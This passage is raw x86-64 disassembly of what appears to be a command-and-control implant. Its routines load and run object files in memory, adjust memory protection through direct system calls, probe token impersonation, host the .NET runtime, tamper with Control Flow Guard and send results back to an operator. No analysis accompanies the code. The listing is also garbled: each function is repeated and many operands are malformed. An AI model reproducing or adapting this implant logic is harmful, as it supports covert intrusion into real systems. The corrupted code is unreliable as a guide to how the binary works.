140008959pop rbx
14000895aret
1400088f0
1400088f0CanTokenBeImpersonated:
1400088f0push rbx
1400088f1xor eax, eax
1400088f3sub rsp, 48
1400088f7mov [rsp+40], rax
1400088fccall SysImpersonateLoggedOnUser
140008901test eax, eax
140008903jne 0x140008909
140008905
140008905loc_140008905:
140008905xor eax, eax
140008907jmp 0x140008955
140008909
140008909loc_140008909:
140008909lea r9, [rsp+40]
14000890emov r8l, 1
140008914mov rax, [rip+0x23a55]
14000891bmov edx, 0x2000000
140008920mov rcx, -2
140008927call [rax+1588]
14000892dmov ebx, eax
14000892fcall TokenRevSelf
140008934test ebx, ebx
140008936je 0x140008905
140008938mov rcx, [rsp+40]
14000893dcall IsImpersonationToken
140008942mov rcx, [rsp+40]
140008947mov ebx, eax
140008949call SysNtClose
14000894exor eax, eax
140008950test ebx, ebx
140008952setne al
140008955
140008955loc_140008955:
140008955add rsp, 48
140008959pop rbx
14000895aret
1400088f0
14000895b
14000895b // align 0x10
14000895b // align 0x10
140008960
140008960CfgAddressAdd:
140008960push rdi
140008961mov r8, rcx
140008964xor eax, eax
140008966mov ecx, 9
14000896bsub rdx, r8
14000896eadd rsp, -128
140008972lea rdi, [rsp+92]
140008977mov [rsp+72], r8
14000897clea r9, [rsp+72]
140008981rep stosd [rdi], eax
140008983xor eax, eax
140008985mov [rsp+56], rdx
14000898aor rcx, -1
14000898emov [rsp+52], eax
140008992movsxd rax, [r8+60]
140008996mov edx, 2
14000899bmov [rsp+64], 1
1400089a4mov eax, [r8+rax+80]
1400089a9mov [rsp+40], 40
1400089b1mov r8l, 1
1400089b7mov [rsp+88], 1
1400089bfadd rax, 4095
1400089c5and rax, -4096
1400089cbmov [rsp+80], rax
1400089d0lea rax, [rsp+52]
1400089d5mov [rsp+96], rax
1400089dalea rax, [rsp+56]
1400089dfmov [rsp+104], rax
1400089e4lea rax, [rsp+88]
1400089e9mov [rsp+32], rax
1400089eecall SysNtSetInformationVirtualMemory
1400089f3test eax, eax
1400089f5jns 0x140008a13
1400089f7mov r9l, eax
1400089famov r8l, 1249
140008a00lea rdx, [rip+0x23f19]
140008a07lea rcx, [rip+0x21d14]
140008a0ecall printf
140008a13
140008a13loc_140008a13:
140008a13sub rsp, -128
140008a17pop rdi
140008a18ret
140008960
140008960CfgAddressAdd:
140008960push rdi
140008961mov r8, rcx
140008964xor eax, eax
140008966mov ecx, 9
14000896bsub rdx, r8
14000896eadd rsp, -128
140008972lea rdi, [rsp+92]
140008977mov [rsp+72], r8
14000897clea r9, [rsp+72]
140008981rep stosd [rdi], eax
140008983xor eax, eax
140008985mov [rsp+56], rdx
14000898aor rcx, -1
14000898emov [rsp+52], eax
140008992movsxd rax, [r8+60]
140008996mov edx, 2
14000899bmov [rsp+64], 1
1400089a4mov eax, [r8+rax+80]
1400089a9mov [rsp+40], 40
1400089b1mov r8l, 1
1400089b7mov [rsp+88], 1
1400089bfadd rax, 4095
1400089c5and rax, -4096
1400089cbmov [rsp+80], rax
1400089d0lea rax, [rsp+52]
1400089d5mov [rsp+96], rax
1400089dalea rax, [rsp+56]
1400089dfmov [rsp+104], rax
1400089e4lea rax, [rsp+88]
1400089e9mov [rsp+32], rax
1400089eecall SysNtSetInformationVirtualMemory
1400089f3test eax, eax
1400089f5jns 0x140008a13
1400089f7mov r9l, eax
1400089famov r8l, 1249
140008a00lea rdx, [rip+0x23f19]
140008a07lea rcx, [rip+0x21d14]
140008a0ecall printf
140008a13
140008a13loc_140008a13:
140008a13sub rsp, -128
140008a17pop rdi
140008a18ret
140008960
140008a19
140008a19 // align 0x10
140008a19 // align 0x10
140008a20
140008a20CfgQueryEnforced:
140008a20sub rsp, 72
140008a24xor eax, eax
140008a26mov edx, 52
140008a2bor rcx, -1
140008a2fmov [rsp+32], rax
140008a34mov r9l, 8
140008a3alea r8, [rsp+56]
140008a3fmov [rsp+56], 7
140008a48call SysNtQueryInformationProcess
140008a4dlea rdx, [rip+0x2431c]
140008a54test eax, eax
140008a56jns 0x140008a71
140008a58mov r9l, eax
140008a5bmov r8l, 1208
140008a61lea rcx, [rip+0x21c4a]
140008a68call printf
140008a6dxor eax, eax
140008a6fjmp 0x140008a9e
140008a71
140008a71loc_140008a71:
140008a71cmp [rsp+60], 0
140008a76lea rax, [rip+0x21c2a]
140008a7dlea r9, [rip+0x21c28]
140008a84mov r8l, 1212
140008a8acmovne r9, rax
140008a8elea rcx, [rip+0x21c55]
140008a95call printf
140008a9amov eax, [rsp+60]
140008a9e
140008a9eloc_140008a9e:
140008a9eadd rsp, 72
140008aa2ret
140008a20
140008a20CfgQueryEnforced:
140008a20sub rsp, 72
140008a24xor eax, eax
140008a26mov edx, 52
140008a2bor rcx, -1
140008a2fmov [rsp+32], rax
140008a34mov r9l, 8
140008a3alea r8, [rsp+56]
140008a3fmov [rsp+56], 7
140008a48call SysNtQueryInformationProcess
140008a4dlea rdx, [rip+0x2431c]
140008a54test eax, eax
140008a56jns 0x140008a71
140008a58mov r9l, eax
140008a5bmov r8l, 1208
140008a61lea rcx, [rip+0x21c4a]
140008a68call printf
140008a6dxor eax, eax
140008a6fjmp 0x140008a9e
140008a71
140008a71loc_140008a71:
140008a71cmp [rsp+60], 0
140008a76lea rax, [rip+0x21c2a]
140008a7dlea r9, [rip+0x21c28]
140008a84mov r8l, 1212
140008a8acmovne r9, rax
140008a8elea rcx, [rip+0x21c55]
140008a95call printf
140008a9amov eax, [rsp+60]
140008a9e
140008a9eloc_140008a9e:
140008a9eadd rsp, 72
140008aa2ret
140008a20
140008aa3
140008aa3 // align 0x10
140008aa3 // align 0x10
140008ab0
140008ab0CharStringToWCharString:
140008ab0mov eax, r8l
140008ab3
140008ab3loc_140008ab3:
140008ab3dec eax
140008ab5js 0x140008ad8
140008ab7movsx r9w, [rdx]
140008abcadd rcx, 2
140008ac0inc rdx
140008ac3mov [rcx-2], r9w
140008ac8test r9w, r9w
140008accjne 0x140008ab3
140008acecdqe
140008ad0sub r8, rax
140008ad3lea rax, [r8-1]
140008ad7ret
140008ad8
140008ad8loc_140008ad8:
140008ad8movsxd rdx, eax
140008adbmov rax, r8
140008adesub rax, rdx
140008ae1ret
140008ab0
140008ab0CharStringToWCharString:
140008ab0mov eax, r8l
140008ab3
140008ab3loc_140008ab3:
140008ab3dec eax
140008ab5js 0x140008ad8
140008ab7movsx r9w, [rdx]
140008abcadd rcx, 2
140008ac0inc rdx
140008ac3mov [rcx-2], r9w
140008ac8test r9w, r9w
140008accjne 0x140008ab3
140008acecdqe
140008ad0sub r8, rax
140008ad3lea rax, [r8-1]
140008ad7ret
140008ad8
140008ad8loc_140008ad8:
140008ad8movsxd rdx, eax
140008adbmov rax, r8
140008adesub rax, rdx
140008ae1ret
140008ab0
140008ae2
140008ae2 // align 0x10
140008ae2 // align 0x10
140008af0
140008af0ClrCreateInstance:
140008af0push rbp
140008af1xor eax, eax
140008af3mov rbp, rdx
140008af6push rdi
140008af7mov rdi, r9
140008afapush rsi
140008afbmov rsi, r8
140008afemov r8, rdx
140008b01lea rdx, [rip+0x1c508]
140008b08push rbx
140008b09mov rbx, rcx
140008b0clea rcx, [rip+0x1c4cd]
140008b13sub rsp, 56
140008b17mov [rsp+44], eax
140008b1bmov rax, [rip+0x2384e]
140008b22call [rax+1276]
140008b28test eax, eax
140008b2ajne 0x140008be8
140008b30mov rcx, [rbp]
140008b34mov r9, rsi
140008b37lea r8, [rip+0x1c4e2]
140008b3emov rdx, rbx
140008b41mov rax, [rcx]
140008b44call [rax+24]
140008b47test eax, eax
140008b49jne 0x140008bcf
140008b4fmov rcx, [rsi]
140008b52lea rdx, [rsp+44]
140008b57mov rax, [rcx]
140008b5acall [rax+80]
140008b5dtest eax, eax
140008b5fjne 0x140008baf
140008b61cmp [rsp+44], 0
140008b66je 0x140008baf
140008b68mov rcx, [rsi]
140008b6bmov r9, rdi
140008b6elea r8, [rip+0x1c4bb]
140008b75lea rdx, [rip+0x1c474]
140008b7cmov rax, [rcx]
140008b7fcall [rax+72]
140008b82test eax, eax
140008b84jne 0x140008b96
140008b86mov rcx, [rdi]
140008b89mov rax, [rcx]
140008b8ccall [rax+80]
140008b8fmov eax, 1
140008b94jmp 0x140008c01
140008b96
140008b96loc_140008b96:
140008b96mov r9, rbx
140008b99mov r8l, 559
140008b9flea rdx, [rip+0x239fa]
140008ba6lea rcx, [rip+0x1eb0a]
140008badjmp 0x140008bc6
140008baf
140008bafloc_140008baf:
140008bafmov r9, rbx
140008bb2mov r8l, 565
140008bb8lea rdx, [rip+0x239e1]
140008bbflea rcx, [rip+0x1eb8d]
140008bc6
140008bc6loc_140008bc6:
140008bc6call printf
140008bcbxor eax, eax
140008bcdjmp 0x140008c01
140008bcf
140008bcfloc_140008bcf:
140008bcfmov r9, rbx
140008bd2mov r8l, 571
140008bd8lea rdx, [rip+0x239c1]
140008bdflea rcx, [rip+0x1ebfb]
140008be6jmp 0x140008bc6
140008be8
140008be8loc_140008be8:
140008be8mov r9, rbx
140008bebmov r8l, 577
140008bf1lea rdx, [rip+0x239a8]
140008bf8lea rcx, [rip+0x1ec7a]
140008bffjmp 0x140008bc6
140008c01
140008c01loc_140008c01:
140008c01add rsp, 56
140008c05pop rbx
140008c06pop rsi
140008c07pop rdi
140008c08pop rbp
140008c09ret
140008af0
140008af0ClrCreateInstance:
140008af0push rbp
140008af1xor eax, eax
140008af3mov rbp, rdx
140008af6push rdi
140008af7mov rdi, r9
140008afapush rsi
140008afbmov rsi, r8
140008afemov r8, rdx
140008b01lea rdx, [rip+0x1c508]
140008b08push rbx
140008b09mov rbx, rcx
140008b0clea rcx, [rip+0x1c4cd]
140008b13sub rsp, 56
140008b17mov [rsp+44], eax
140008b1bmov rax, [rip+0x2384e]
140008b22call [rax+1276]
140008b28test eax, eax
140008b2ajne 0x140008be8
140008b30mov rcx, [rbp]
140008b34mov r9, rsi
140008b37lea r8, [rip+0x1c4e2]
140008b3emov rdx, rbx
140008b41mov rax, [rcx]
140008b44call [rax+24]
140008b47test eax, eax
140008b49jne 0x140008bcf
140008b4fmov rcx, [rsi]
140008b52lea rdx, [rsp+44]
140008b57mov rax, [rcx]
140008b5acall [rax+80]
140008b5dtest eax, eax
140008b5fjne 0x140008baf
140008b61cmp [rsp+44], 0
140008b66je 0x140008baf
140008b68mov rcx, [rsi]
140008b6bmov r9, rdi
140008b6elea r8, [rip+0x1c4bb]
140008b75lea rdx, [rip+0x1c474]
140008b7cmov rax, [rcx]
140008b7fcall [rax+72]
140008b82test eax, eax
140008b84jne 0x140008b96
140008b86mov rcx, [rdi]
140008b89mov rax, [rcx]
140008b8ccall [rax+80]
140008b8fmov eax, 1
140008b94jmp 0x140008c01
140008b96
140008b96loc_140008b96:
140008b96mov r9, rbx
140008b99mov r8l, 559
140008b9flea rdx, [rip+0x239fa]
140008ba6lea rcx, [rip+0x1eb0a]
140008badjmp 0x140008bc6
140008baf
140008bafloc_140008baf:
140008bafmov r9, rbx
140008bb2mov r8l, 565
140008bb8lea rdx, [rip+0x239e1]
140008bbflea rcx, [rip+0x1eb8d]
140008bc6
140008bc6loc_140008bc6:
140008bc6call printf
140008bcbxor eax, eax
140008bcdjmp 0x140008c01
140008bcf
140008bcfloc_140008bcf:
140008bcfmov r9, rbx
140008bd2mov r8l, 571
140008bd8lea rdx, [rip+0x239c1]
140008bdflea rcx, [rip+0x1ebfb]
140008be6jmp 0x140008bc6
140008be8
140008be8loc_140008be8:
140008be8mov r9, rbx
140008bebmov r8l, 577
140008bf1lea rdx, [rip+0x239a8]
140008bf8lea rcx, [rip+0x1ec7a]
140008bffjmp 0x140008bc6
140008c01
140008c01loc_140008c01:
140008c01add rsp, 56
140008c05pop rbx
140008c06pop rsi
140008c07pop rdi
140008c08pop rbp
140008c09ret
140008af0
140008c0a
140008c0a // align 0x10
140008c0a // align 0x10
140008c10
140008c10CoffeeCleanup:
140008c10push rdi
140008c11xor edx, edx
140008c13push rsi
140008c14push rbx
140008c15sub rsp, 64
140008c19mov [rsp+48], rdx
140008c1emov [rsp+56], rdx
140008c23test rcx, rcx
140008c26je 0x140008d09
140008c2cmov r8, [rcx+40]
140008c30mov rbx, rcx
140008c33test r8, r8
140008c36je 0x140008d09
140008c3cmov [rsp+32], 4
140008c44mov r9, [rcx+48]
140008c48or rdx, -1
140008c4cmov ecx, 2
140008c51call MemoryProtect
140008c56test eax, eax
140008c58je 0x140008c66
140008c5amov rdi, [rbx+40]
140008c5emov rcx, [rbx+48]
140008c62xor eax, eax
140008c64rep stosb [rdi], al
140008c66
140008c66loc_140008c66:
140008c66mov rax, [rbx+40]
140008c6aor rcx, -1
140008c6elea rdx, [rsp+48]
140008c73mov r9l, 32768
140008c79lea r8, [rsp+56]
140008c7emov [rsp+48], rax
140008c83mov rax, [rbx+48]
140008c87mov [rsp+56], rax
140008c8ccall SysNtFreeVirtualMemory
140008c91mov ecx, eax
140008c93test eax, eax
140008c95jns 0x140008cd9
140008c97mov rdi, [rip+0x236d2]
140008c9emov rsi, [rdi+2230]
140008ca5call [rdi+348]
140008cabmov r8l, 383
140008cb1lea rdx, [rip+0x24508]
140008cb8lea rcx, [rip+0x226ef]
140008cbfmov [rsi+104], eax
140008cc2mov rax, [rdi+2230]
140008cc9mov eax, [rax+104]
140008cccmov [rsp+32], eax
140008cd0mov r9, [rbx+40]
140008cd4call printf
140008cd9
140008cd9loc_140008cd9:
140008cd9mov rdi, [rbx+60]
140008cddtest rdi, rdi
140008ce0je 0x140008d09
140008ce2mov rax, [rbx+8]
140008ce6movzx ecx, [rax+2]
140008ceaxor eax, eax
140008cecshl rcx, 4
140008cf0rep stosb [rdi], al
140008cf2mov rax, [rip+0x23677]
140008cf9mov rcx, [rbx+60]
140008cfdcall [rax+940]
140008d03xor eax, eax
140008d05mov [rbx+60], rax
140008d09
140008d09loc_140008d09:
140008d09add rsp, 64
140008d0dpop rbx
140008d0epop rsi
140008d0fpop rdi
140008d10ret
140008c10
140008c10CoffeeCleanup:
140008c10push rdi
140008c11xor edx, edx
140008c13push rsi
140008c14push rbx
140008c15sub rsp, 64
140008c19mov [rsp+48], rdx
140008c1emov [rsp+56], rdx
140008c23test rcx, rcx
140008c26je 0x140008d09
140008c2cmov r8, [rcx+40]
140008c30mov rbx, rcx
140008c33test r8, r8
140008c36je 0x140008d09
140008c3cmov [rsp+32], 4
140008c44mov r9, [rcx+48]
140008c48or rdx, -1
140008c4cmov ecx, 2
140008c51call MemoryProtect
140008c56test eax, eax
140008c58je 0x140008c66
140008c5amov rdi, [rbx+40]
140008c5emov rcx, [rbx+48]
140008c62xor eax, eax
140008c64rep stosb [rdi], al
140008c66
140008c66loc_140008c66:
140008c66mov rax, [rbx+40]
140008c6aor rcx, -1
140008c6elea rdx, [rsp+48]
140008c73mov r9l, 32768
140008c79lea r8, [rsp+56]
140008c7emov [rsp+48], rax
140008c83mov rax, [rbx+48]
140008c87mov [rsp+56], rax
140008c8ccall SysNtFreeVirtualMemory
140008c91mov ecx, eax
140008c93test eax, eax
140008c95jns 0x140008cd9
140008c97mov rdi, [rip+0x236d2]
140008c9emov rsi, [rdi+2230]
140008ca5call [rdi+348]
140008cabmov r8l, 383
140008cb1lea rdx, [rip+0x24508]
140008cb8lea rcx, [rip+0x226ef]
140008cbfmov [rsi+104], eax
140008cc2mov rax, [rdi+2230]
140008cc9mov eax, [rax+104]
140008cccmov [rsp+32], eax
140008cd0mov r9, [rbx+40]
140008cd4call printf
140008cd9
140008cd9loc_140008cd9:
140008cd9mov rdi, [rbx+60]
140008cddtest rdi, rdi
140008ce0je 0x140008d09
140008ce2mov rax, [rbx+8]
140008ce6movzx ecx, [rax+2]
140008ceaxor eax, eax
140008cecshl rcx, 4
140008cf0rep stosb [rdi], al
140008cf2mov rax, [rip+0x23677]
140008cf9mov rcx, [rbx+60]
140008cfdcall [rax+940]
140008d03xor eax, eax
140008d05mov [rbx+60], rax
140008d09
140008d09loc_140008d09:
140008d09add rsp, 64
140008d0dpop rbx
140008d0epop rsi
140008d0fpop rdi
140008d10ret
140008c10
140008d11
140008d11 // align 0x10
140008d11 // align 0x10
140008d20
140008d20CoffeeExecuteFunction:
140008d20push r15
140008d22push r14
140008d24mov r14, r9
140008d27push r13
140008d29mov r13, r8
140008d2cpush r12
140008d2epush rbp
140008d2fpush rdi
140008d30push rsi
140008d31xor esi, esi
140008d33push rbx
140008d34mov rbx, rcx
140008d37mov rcx, rdx
140008d3asub rsp, 56
140008d3emov [rsp+136], rdx
140008d46call StringLengthA
140008d4bmov rbp, [rip+0x2361e]
140008d52mov r15, rax
140008d55cmp [rbp+240], 0
140008d5cje 0x140008db1
140008d5elea r9, [rip+0x22564]
140008d65mov r8l, 238
140008d6blea rdx, [rip+0x2450e]
140008d72lea rcx, [rip+0x2253c]
140008d79call printf
140008d7elea rdx, [rip+0x1940b]
140008d85mov ecx, 1
140008d8acall [rbp+428]
140008d90mov rsi, rax
140008d93test rax, rax
140008d96jne 0x140008db1
140008d98mov rax, [rbp+2230]
140008d9fmov ecx, 1
140008da4mov edx, [rax+104]
140008da7call PackageTransmitError
140008dacjmp 0x140008e4b
140008db1
140008db1loc_140008db1:
140008db1xor r12l, r12l
140008db4jmp 0x140008db9
140008db6
140008db6loc_140008db6:
140008db6inc r12l
140008db9
140008db9loc_140008db9:
140008db9mov rax, [rbx+8]
140008dbdcmp r12w, [rax+2]
140008dc2jae 0x140008edb
140008dc8movzx edi, r12w
140008dccmov rdx, [rbx]
140008dcfimul rax, rdi, 40
140008dd3lea rax, [rdx+rax+20]
140008dd8cmp [rax+16], 0
140008ddcmov [rbx+16], rax
140008de0je 0x140008db6
140008de2mov r9l, [rax+36]
140008de6mov eax, 1
140008debmov edx, r9l
140008deeand edx, 0xffffffffe0000000
140008df4jne 0x140008e52
140008df6
140008df6loc_140008df6:
140008df6mov rdx, [rbx+16]
140008dfatest [rdx+39], 4
140008dfeje 0x140008e03
140008e00or ah, 2
140008e03
140008e03loc_140008e03:
140008e03mov r10, [rbx+60]
140008e07shl rdi, 4
140008e0bor rdx, -1
140008e0fmov ecx, 2
140008e14add r10, rdi
140008e17mov r9, [r10+8]
140008e1bmov [rsp+32], eax
140008e1fmov r8, [r10]
140008e22call MemoryProtect
140008e27test eax, eax
140008e29jne 0x140008db6
140008e2blea r9, [rip+0x224d6]
140008e32mov r8l, 283
140008e38
140008e38loc_140008e38:
140008e38lea rdx, [rip+0x24441]
140008e3flea rcx, [rip+0x2246f]
140008e46
140008e46loc_140008e46:
140008e46call printf
140008e4b
140008e4bloc_140008e4b:
140008e4bxor eax, eax
140008e4djmp 0x140009084
140008e52
140008e52loc_140008e52:
140008e52mov eax, 16
140008e57cmp edx, 0x20000000
140008e5dje 0x140008df6
140008e5fmov eax, 2
140008e64cmp edx, 0x40000000
140008e6aje 0x140008df6
140008e6cmov eax, 32
140008e71cmp edx, 0x60000000
140008e77je 0x140008df6
140008e7dmov eax, 8
140008e82cmp edx, 0xffffffff80000000
140008e88je 0x140008df6
140008e8emov eax, 128
140008e93cmp edx, 0xffffffffa0000000
140008e99je 0x140008df6
140008e9fmov eax, 4
140008ea4cmp edx, 0xffffffffc0000000
140008eaaje 0x140008df6
140008eb0cmp edx, 0xffffffffe0000000
140008eb6je 0x140008ed1
140008eb8mov r8l, 273
140008ebelea rdx, [rip+0x243bb]
140008ec5lea rcx, [rip+0x22415]
140008ecccall printf
140008ed1
140008ed1loc_140008ed1:
140008ed1mov eax, 64
140008ed6jmp 0x140008df6
140008edb
140008edbloc_140008edb:
140008edbmov r9, [rbx+76]
140008edftest r9, r9
140008ee2jne 0x140008ee8
140008ee4
140008ee4loc_140008ee4:
140008ee4xor edi, edi
140008ee6jmp 0x140008f50
140008ee8
140008ee8loc_140008ee8:
140008ee8mov [rsp+32], 2
140008ef0mov r8, [rbx+68]
140008ef4or rdx, -1
140008ef8mov ecx, 2
140008efdcall MemoryProtect
140008f02lea r9, [rip+0x223ff]
140008f09mov r8l, 295
140008f0ftest eax, eax
140008f11jne 0x140008ee4
140008f13jmp 0x140008e38
140008f18
140008f18loc_140008f18:
140008f18mov r12l, edi
140008f1bmov rdx, [rbx+32]
140008f1fimul r12, r12, 18
140008f23lea rcx, [rdx+r12]
140008f27cmp [rcx], 0
140008f2ajne 0x140008f3a
140008f2cimul rax, rax, 18
140008f30mov ecx, [rcx+4]
140008f33add rax, rcx
140008f36lea rcx, [rdx+rax]
140008f3a
140008f3aloc_140008f3a:
140008f3amov rdx, [rsp+136]
140008f42mov r8l, r15l
140008f45call MemCompare
140008f4atest eax, eax
140008f4cje 0x140008f5d
140008f4einc edi
140008f50
140008f50loc_140008f50:
140008f50mov rax, [rbx+8]
140008f54mov eax, [rax+12]
140008f57cmp edi, eax
140008f59jb 0x140008f18
140008f5bjmp 0x140008f88
140008f5d
140008f5dloc_140008f5d:
140008f5dadd r12, [rbx+32]
140008f61mov r8, [rbx+60]
140008f65movzx eax, [r12+12]
140008f6bmov r12l, [r12+8]
140008f70shl rax, 4
140008f74add r12, [r8+rax-16]
140008f79je 0x140008f88
140008f7bmov rax, [rbx+8]
140008f7fmov r9w, [rax+2]
140008f84xor eax, eax
140008f86jmp 0x140008ffc
140008f88
140008f88loc_140008f88:
140008f88mov r9, [rsp+136]
140008f90mov r8l, 324
140008f96lea rdx, [rip+0x242e3]
140008f9dlea rcx, [rip+0x2237d]
140008fa4call printf
140008fa9mov edx, [rsp+160]
140008fb0mov ecx, 20
140008fb5call PackageCreateWithRequestID
140008fbamov edx, 2
140008fbfmov rcx, rax
140008fc2mov rbx, rax
140008fc5call PackageAddInt32
140008fcamov rdx, [rsp+136]
140008fd2mov rcx, rbx
140008fd5call PackageAddString
140008fdamov rcx, rbx
140008fddcall PackageTransmit
140008fe2jmp 0x140008e4b
140008fe7
140008fe7loc_140008fe7:
140008fe7mov rcx, rax
140008feashl rcx, 4
140008feeadd rcx, r8
140008ff1mov rdx, [rcx]
140008ff4cmp r12, rdx
140008ff7jae 0x140009004
140008ff9
140008ff9loc_140008ff9:
140008ff9inc rax
140008ffc
140008ffcloc_140008ffc:
140008ffccmp ax, r9w
140009000jb 0x140008fe7
140009002jmp 0x140009023
140009004
140009004loc_140009004:
140009004add rdx, [rcx+8]
140009008cmp r12, rdx
14000900bjae 0x140008ff9
14000900dimul rax, rax, 40
140009011mov rdx, [rbx]
140009014lea rax, [rdx+rax+20]
140009019mov [rbx+16], rax
14000901dtest [rax+39], 32
140009021jne 0x14000903f
140009023
140009023loc_140009023:
140009023mov r9, r12
140009026mov r8l, 351
14000902clea rdx, [rip+0x2424d]
140009033lea rcx, [rip+0x22319]
14000903ajmp 0x140008e46
14000903f
14000903floc_14000903f:
14000903fmov r8l, 355
140009045lea rdx, [rip+0x24234]
14000904clea rcx, [rip+0x22262]
140009053lea r9, [rip+0x2233b]
14000905acall printf
14000905fmov r8, r14
140009062mov rdx, r13
140009065mov rcx, r12
140009068call CoffeeFunction
14000906dtest rsi, rsi
140009070jne 0x140009079
140009072
140009072loc_140009072:
140009072mov eax, 1
140009077jmp 0x140009084
140009079
140009079loc_140009079:
140009079mov rcx, rsi
14000907ccall [rbp+436]
140009082jmp 0x140009072
140009084
140009084loc_140009084:
140009084add rsp, 56
140009088pop rbx
140009089pop rsi
14000908apop rdi
14000908bpop rbp
14000908cpop r12
14000908epop r13
140009090pop r14
140009092pop r15
140009094ret
140008d20
140008d20CoffeeExecuteFunction:
140008d20push r15
140008d22push r14
140008d24mov r14, r9
140008d27push r13
140008d29mov r13, r8
140008d2cpush r12
140008d2epush rbp
140008d2fpush rdi
140008d30push rsi
140008d31xor esi, esi
140008d33push rbx
140008d34mov rbx, rcx
140008d37mov rcx, rdx
140008d3asub rsp, 56
140008d3emov [rsp+136], rdx
140008d46call StringLengthA
140008d4bmov rbp, [rip+0x2361e]
140008d52mov r15, rax
140008d55cmp [rbp+240], 0
140008d5cje 0x140008db1
140008d5elea r9, [rip+0x22564]
140008d65mov r8l, 238
140008d6blea rdx, [rip+0x2450e]
140008d72lea rcx, [rip+0x2253c]
140008d79call printf
140008d7elea rdx, [rip+0x1940b]
140008d85mov ecx, 1
140008d8acall [rbp+428]
140008d90mov rsi, rax
140008d93test rax, rax
140008d96jne 0x140008db1
140008d98mov rax, [rbp+2230]
140008d9fmov ecx, 1
140008da4mov edx, [rax+104]
140008da7call PackageTransmitError
140008dacjmp 0x140008e4b
140008db1
140008db1loc_140008db1:
140008db1xor r12l, r12l
140008db4jmp 0x140008db9
140008db6
140008db6loc_140008db6:
140008db6inc r12l
140008db9
140008db9loc_140008db9:
140008db9mov rax, [rbx+8]
140008dbdcmp r12w, [rax+2]
140008dc2jae 0x140008edb
140008dc8movzx edi, r12w
140008dccmov rdx, [rbx]
140008dcfimul rax, rdi, 40
140008dd3lea rax, [rdx+rax+20]
140008dd8cmp [rax+16], 0
140008ddcmov [rbx+16], rax
140008de0je 0x140008db6
140008de2mov r9l, [rax+36]
140008de6mov eax, 1
140008debmov edx, r9l
140008deeand edx, 0xffffffffe0000000
140008df4jne 0x140008e52
140008df6
140008df6loc_140008df6:
140008df6mov rdx, [rbx+16]
140008dfatest [rdx+39], 4
140008dfeje 0x140008e03
140008e00or ah, 2
140008e03
140008e03loc_140008e03:
140008e03mov r10, [rbx+60]
140008e07shl rdi, 4
140008e0bor rdx, -1
140008e0fmov ecx, 2
140008e14add r10, rdi
140008e17mov r9, [r10+8]
140008e1bmov [rsp+32], eax
140008e1fmov r8, [r10]
140008e22call MemoryProtect
140008e27test eax, eax
140008e29jne 0x140008db6
140008e2blea r9, [rip+0x224d6]
140008e32mov r8l, 283
140008e38
140008e38loc_140008e38:
140008e38lea rdx, [rip+0x24441]
140008e3flea rcx, [rip+0x2246f]
140008e46
140008e46loc_140008e46:
140008e46call printf
140008e4b
140008e4bloc_140008e4b:
140008e4bxor eax, eax
140008e4djmp 0x140009084
140008e52
140008e52loc_140008e52:
140008e52mov eax, 16
140008e57cmp edx, 0x20000000
140008e5dje 0x140008df6
140008e5fmov eax, 2
140008e64cmp edx, 0x40000000
140008e6aje 0x140008df6
140008e6cmov eax, 32
140008e71cmp edx, 0x60000000
140008e77je 0x140008df6
140008e7dmov eax, 8
140008e82cmp edx, 0xffffffff80000000
140008e88je 0x140008df6
140008e8emov eax, 128
140008e93cmp edx, 0xffffffffa0000000
140008e99je 0x140008df6
140008e9fmov eax, 4
140008ea4cmp edx, 0xffffffffc0000000
140008eaaje 0x140008df6
140008eb0cmp edx, 0xffffffffe0000000
140008eb6je 0x140008ed1
140008eb8mov r8l, 273
140008ebelea rdx, [rip+0x243bb]
140008ec5lea rcx, [rip+0x22415]
140008ecccall printf
140008ed1
140008ed1loc_140008ed1:
140008ed1mov eax, 64
140008ed6jmp 0x140008df6
140008edb
140008edbloc_140008edb:
140008edbmov r9, [rbx+76]
140008edftest r9, r9
140008ee2jne 0x140008ee8
140008ee4
140008ee4loc_140008ee4:
140008ee4xor edi, edi
140008ee6jmp 0x140008f50
140008ee8
140008ee8loc_140008ee8:
140008ee8mov [rsp+32], 2
140008ef0mov r8, [rbx+68]
140008ef4or rdx, -1
140008ef8mov ecx, 2
140008efdcall MemoryProtect
140008f02lea r9, [rip+0x223ff]
140008f09mov r8l, 295
140008f0ftest eax, eax
140008f11jne 0x140008ee4
140008f13jmp 0x140008e38
140008f18
140008f18loc_140008f18:
140008f18mov r12l, edi
140008f1bmov rdx, [rbx+32]
140008f1fimul r12, r12, 18
140008f23lea rcx, [rdx+r12]
140008f27cmp [rcx], 0
140008f2ajne 0x140008f3a
140008f2cimul rax, rax, 18
140008f30mov ecx, [rcx+4]
140008f33add rax, rcx
140008f36lea rcx, [rdx+rax]
140008f3a
140008f3aloc_140008f3a:
140008f3amov rdx, [rsp+136]
140008f42mov r8l, r15l
140008f45call MemCompare
140008f4atest eax, eax
140008f4cje 0x140008f5d
140008f4einc edi
140008f50
140008f50loc_140008f50:
140008f50mov rax, [rbx+8]
140008f54mov eax, [rax+12]
140008f57cmp edi, eax
140008f59jb 0x140008f18
140008f5bjmp 0x140008f88
140008f5d
140008f5dloc_140008f5d:
140008f5dadd r12, [rbx+32]
140008f61mov r8, [rbx+60]
140008f65movzx eax, [r12+12]
140008f6bmov r12l, [r12+8]
140008f70shl rax, 4
140008f74add r12, [r8+rax-16]
140008f79je 0x140008f88
140008f7bmov rax, [rbx+8]
140008f7fmov r9w, [rax+2]
140008f84xor eax, eax
140008f86jmp 0x140008ffc
140008f88
140008f88loc_140008f88:
140008f88mov r9, [rsp+136]
140008f90mov r8l, 324
140008f96lea rdx, [rip+0x242e3]
140008f9dlea rcx, [rip+0x2237d]
140008fa4call printf
140008fa9mov edx, [rsp+160]
140008fb0mov ecx, 20
140008fb5call PackageCreateWithRequestID
140008fbamov edx, 2
140008fbfmov rcx, rax
140008fc2mov rbx, rax
140008fc5call PackageAddInt32
140008fcamov rdx, [rsp+136]
140008fd2mov rcx, rbx
140008fd5call PackageAddString
140008fdamov rcx, rbx
140008fddcall PackageTransmit
140008fe2jmp 0x140008e4b
140008fe7
140008fe7loc_140008fe7:
140008fe7mov rcx, rax
140008feashl rcx, 4
140008feeadd rcx, r8
140008ff1mov rdx, [rcx]
140008ff4cmp r12, rdx
140008ff7jae 0x140009004
140008ff9
140008ff9loc_140008ff9:
140008ff9inc rax
140008ffc
140008ffcloc_140008ffc:
140008ffccmp ax, r9w
140009000jb 0x140008fe7
140009002jmp 0x140009023
140009004
140009004loc_140009004:
140009004add rdx, [rcx+8]
140009008cmp r12, rdx
14000900bjae 0x140008ff9
14000900dimul rax, rax, 40
140009011mov rdx, [rbx]
140009014lea rax, [rdx+rax+20]
140009019mov [rbx+16], rax
